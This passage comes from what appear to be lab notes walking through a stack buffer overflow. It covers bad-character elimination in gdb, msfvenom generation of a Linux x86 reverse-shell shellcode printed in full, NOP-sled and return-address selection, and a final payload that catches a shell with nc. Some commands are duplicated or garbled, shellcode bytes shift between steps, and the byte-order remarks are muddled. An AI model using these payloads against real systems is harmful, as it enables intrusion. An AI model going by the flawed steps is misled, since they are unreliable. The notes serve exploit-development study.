Buffer = "\x55" * (1040 - 253 - 4) = 783 # Substract the number of removed characters
CHARS = "\x01\x02\x03...<SNIP>...\xfd\xfe\xff" # "\x00" removed: 256 - 3 = 253 bytes
EIP = "\x66" * 4
PAYLOAD LAYOUT: payload = filler_byte * FILL + CHARS + eip_byte * EIP_SIZE
FINAL PAYLOAD: run $(python -c 'print("\x55" * (1040 - 253 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") * 4')
Continue remove bad characters until none are left
...
//Send CHARS - Without "\x00", "\x09", & "\x0a"
(gdb) (gdb) run $(python -c 'print("\x55" * (1040 - 253 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66") * 4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/htb-student/bow $(python -c 'print("\x55" * (1040 - 253 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66") * 4')
Breakpoint 1, 0x5655554d in bowfunc ()
(gdb) x/2000xb $esp+550
<SNIP>
0xffffca7a: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55
0xffffca82: 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08
0xffffca8a: 0x0b 0x0c 0x0d 0x0e 0x0f 0x10 0x11 0x12
0xffffca92: 0x13 0x14 0x15 0x16 0x17 0x18 0x19 0x1a
0xffffca9a: 0x1b 0x1c 0x1d 0x1e 0x1f 0x00 0x21 0x22
# |----| <- "\x20" expected
# \x20 identified as BAD remote it
<SNIP>
//previous buffer size and payloads
Buffer = "\x55" * (1040 - 253 - 4) = 783
CHARS = "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfd\xfe\xff"
EIP = "\x66" * 4
//remove the 0x20 bad character
root@sre:~$ CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
root@sre:~$ CHARS=$(echo "$CHARS" | sed 's/\\x20//g')
root@sre:~$ echo $CHARS | sed 's/\\x/ /g' | wc -w
252
root@sre:~$ echo $CHARS
\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
//modified buffer size and payload
Buffer = "\x55" * (1040 - 252 - 4) = 784 # Substract the number of removed characters
CHARS = "\x01\x02\x03...<SNIP>...\xfd\xfe\xff" # "\x00" removed: 256 - 4 = 252 bytes
EIP = "\x66" * 4
PAYLOAD LAYOUT: payload = filler_byte * FILL + CHARS + eip_byte * EIP_SIZE
FINAL PAYLOAD: run $(python -c 'print("\x55" * (1040 - 253 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") * 4')
STEP 10: GENERATE SHELLCODE
This step is performed once all the BAD CHARACTERS are removed.
Before generating shellcode, it is essential to ensure that it matches the target system in several key areas. First, the architecture must correspond to the CPU type and instruction set of the target, such as x86, x86_64, or ARM, because shellcode is raw machine code and will not execute correctly on a mismatched architecture. Second, the platform must match the target operating system, such as Linux, Windows, or macOS, since system calls and API interfaces differ between OSes and shellcode is typically written to interact directly with these interfaces. Third, attention must be paid to bad characters, which are bytes that cannot appear in the shellcode because they may terminate strings, corrupt memory, or break input parsing; common examples include null bytes (\x00
), carriage returns (\x0d
), and newlines (\x0a
). Ensuring alignment across these three areas—architecture, platform, and bad characters—is crucial for creating functional and reliable shellcode.
//SYNTAX
msfvenom -p linux/x86/shell_reverse_tcp lhost=<LHOST> lport=<LPORT> --format c --arch x86 --platform linux --bad-chars "<chars>" --out <filename>
root@oco:~$ msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
Saved as: shellcode
root@oco:~$ cat shellcode
unsigned char buf[] =
"\xd9\xc0\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x12\xb8\x47\x45"
"\x62\x42\x83\xc2\x04\x31\x42\x13\x03\x05\x56\x80\xb7\xb8"
"\x83\xb3\xdb\xe9\x70\x6f\x76\x0f\xfe\x6e\x36\x69\xcd\xf1"
"\xa4\x2c\x7d\xce\x07\x4e\x34\x48\x61\x26\xb8\xaa\x91\xb7"
"\x2e\xa9\x91\xcd\xc7\x24\x70\x81\x7e\x67\x22\xb2\xcd\x84"
"\x4d\xd5\xff\x0b\x1f\x7d\x6e\x23\xd3\x15\x06\x14\x3c\x87"
"\xbf\xe3\xa1\x15\x13\x7d\xc4\x29\x98\xb0\x87";
//parse the shellcode to combine the strings for use in Python one-liner
root@oco:~$ cat shellcode | sed 's/^[ \t]*"//; s/"[ \t]*$//; s/"[ \t]*"//g' | tr -d '\n' > stringCombined.txt
root@oco:~$ cat stringCombined.txt
unsigned char buf[] = \xd9\xc0\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x12\xb8\x47\x45\x62\x42\x83\xc2\x04\x31\x42\x13\x03\x05\x56\x80\xb7\xb8\x83\xb3\xdb\xe9\x70\x6f\x76\x0f\xfe\x6e\x36\x69\xcd\xf1\xa4\x2c\x7d\xce\x07\x4e\x34\x48\x61\x26\xb8\xaa\x91\xb7\x2e\xa9\x91\xcd\xc7\x24\x70\x81\x7e\x67\x22\xb2\xcd\x84\x4d\xd5\xff\x0b\x1f\x7d\x6e\x23\xd3\x15\x06\x14\x3c\x87\xbf\xe3\xa1\x15\x13\x7d\xc4\x29\x98\xb0\x87";
RECALCULATE PAYLOAD
Buffer = "\x55" * (1040 - 124 - 95 - 4) = 817
NOPs = "\x90" * 124
Shellcode = "\xd9\xc0\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x12\xb8\x47\x45\x62\x42\x83\xc2\x04\x31\x42\x13\x03\x05\x56\x80\xb7\xb8\x83\xb3\xdb\xe9\x70\x6f\x76\x0f\xfe\x6e\x36\x69\xcd\xf1\xa4\x2c\x7d\xce\x07\x4e\x34\x48\x61\x26\xb8\xaa\x91\xb7\x2e\xa9\x91\xcd\xc7\x24\x70\x81\x7e\x67\x22\xb2\xcd\x84\x4d\xd5\xff\x0b\x1f\x7d\x6e\x23\xd3\x15\x06\x14\x3c\x87\xbf\xe3\xa1\x15\x13\x7d\xc4\x29\x98\xb0\x87"
EIP = "\x66" * 4'
PAYLOAD LAYOUT: payload = Buffer + NOP sled + Shellcode + EIP_SIZE
FINAL PAYLOAD: run $(python -c 'print("\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xd9\xc0\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x12\xb8\x47\x45\x62\x42\x83\xc2\x04\x31\x42\x13\x03\x05\x56\x80\xb7\xb8\x83\xb3\xdb\xe9\x70\x6f\x76\x0f\xfe\x6e\x36\x69\xcd\xf1\xa4\x2c\x7d\xce\x07\x4e\x34\x48\x61\x26\xb8\xaa\x91\xb7\x2e\xa9\x91\xcd\xc7\x24\x70\x81\x7e\x67\x22\xb2\xcd\x84\x4d\xd5\xff\x0b\x1f\x7d\x6e\x23\xd3\x15\x06\x14\x3c\x87\xbf\xe3\xa1\x15\x13\x7d\xc4\x29\x98\xb0\x87" + "\x66") * 4')
VERIFY
(gdb) run $(python -c 'print("\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "run $(python -c 'print("\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xd9\xc0\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x12\xb8\x47\x45\x62\x42\x83\xc2\x04\x31\x42\x13\x03\x05\x56\x80\xb7\xb8\x83\xb3\xdb\xe9\x70\x6f\x76\x0f\xfe\x6e\x36\x69\xcd\xf1\xa4\x2c\x7d\xce\x07\x4e\x34\x48\x61\x26\xb8\xaa\x91\xb7\x2e\xa9\x91\xcd\xc7\x24\x70\x81\x7e\x67\x22\xb2\xcd\x84\x4d\xd5\xff\x0b\x1f\x7d\x6e\x23\xd3\x15\x06\x14\x3c\x87\xbf\xe3\xa1\x15\x13\x7d\xc4\x29\x98\xb0\x87" + "\x66") * 4')" + "\x66") * 4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/student/bow/bow32 $(python -c 'print("\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xda\xca\xba\xe4...<SNIP>...\xad\xec\xa0\x04\x5a\x22\xa2" + "\x66") * 4')
Breakpoint 1, 0x56555551 in bowfunc ()
//check if the first bytes of our shellcode match the bytes after the NOPS
(gdb) x/2000xb $esp+550
<SNIP>
0xffffd64c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd654: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd65c: 0x90 0x90 0xda 0xca 0xba 0xe4 0x11 0xd4
# |----> Shellcode begins
<SNIP>
STEP 11: IDENTIFY RETURN ADDRESS (STACK REDIRECTION)
The final step involves identifying the return address on the program stack, which will be used to overwrite the EIP and redirect execution to the desired location. This memory address must point to a valid instruction within the NOP sled or directly to the shellcode, ensuring the CPU executes the payload seamlessly. It is critical that the chosen address does not contain any bad characters (e.g., null bytes or other problematic values or previously found bad characters) that could corrupt the exploit or terminate the payload prematurely. Once the return address is correctly identified and the EIP is overwritten with it, the program will jump to the specified location, slide through the NOP sled (if applicable), and execute the shellcode, successfully triggering the exploit.
//Select a memory address that will instruct EIP to jump to the bytes before
//the actual shellcode
root@oco:~$ gdb -q ./{filename}
...
(gdb) x/2000xb $esp+1400
<SNIP>
0xffffd5ec: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55
0xffffd5f4: 0x55 0x55 0x55 0x55 0x55 0x55 0x90 0x90
# End of "\x55"s ---->| |---> NOPS
0xffffd5fc: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd604: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd60c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd614: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd61c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd624: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd62c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd634: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd63c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd644: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd64c: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 <-- best
0xffffd654: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd65c: 0x90 0x90 0xda 0xca 0xba 0xe4 0x11 0xd4
# |---> Shellcode
<SNIP>
* 0xffffd64c will be the address to which EIP will be refered to which then reads
reads and executes on e byte after the other starting at this address.
- during previous debugging "\x66 overwrote the EIP. this will now be replaced
to instruct EIP to jump to 0xffffd64c where the shellcode/payload is located.
-
* 0xffffd64c is chosen because it is earlier in the NOP sled, giving the CPU more room
to "slide" through the NOPs before reaching the shellcode at 0xffffd65c.
- This increases the reliability of the exploit, especially if there is slight
variability in the stack layout (e.g., due to environmental factors like ASLR
being partially disabled or stack alignment).
- Choosing 0xffffd654 Instead of 0xffffd654 as the return address, forces the CPU
to start executing from that point in the NOP sled. Since the NOP sled is
designed to handle such cases, the exploit will still work as long as the
shellcode is reachable. However, choosing an address closer to the end of the NOP
sled (like 0xffffd654) reduces the margin of error, as there are fewer NOPs
before the shellcode begins.

PAYLOAD FORMULA
//revise formula
NOP SHELL EIP_SIZE
Buffer = "\x55" * (1040 - 100 - 95 - 4) = 841 //
NOPs = "\x90" * 100 // NOP SLED
Shellcode = "\xda\xca\xba\xe4\x11\xd4...<SNIP>...\x5a\x22\xa2"
EIP = "\x4c\xd6\xff\xff" // Apply Endian
* Note that the input of the address is entered backward on EIP
- When writing the return address to the EIP, it must be in little-endianformat
because the system expects memory addresses to be stored this way. This is due
to the processor's architecture, which interprets memory addresses in
little-endianorder (least significant byte first). Additionally, since this
exploit involves a reverse shellthat communicates over the network, the payload
must account for network-to-host byte order conversion.
Network protocols typically use big-endianformat (most significant byte first),
while the host system uses little-endian. Therefore, the shellcode and return
address must be carefully crafted to ensure compatibility between the network and
host systems, allowing the reverse shell to establish a reliable connection and
execute successfully.
VERIFICATION
//
root@oco:~$ nc -nlvp 31337
Listening on [0.0.0.0] (family 0, port 31337)
root@oco:~$ gdb -q ./{filename}
...
(gdb) run $(python -c 'print("\x55" * (1040 - 100 - 95 - 4) + "\x90" * 100 + "\xda\xca\xba...<SNIP>...\x5a\x22\xa2" + "\x4c\xd6\xff\xff")')
root@oco:~$ nc ...
Listening on [0.0.0.0] (family 0, port 31337)
Connection from 127.0.0.1 33504 received!
id
uid=1000(student) gid=1000(student) groups=1000(student),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
EXPLOITATION
Revise the payload for exploitation over the network.
Last updated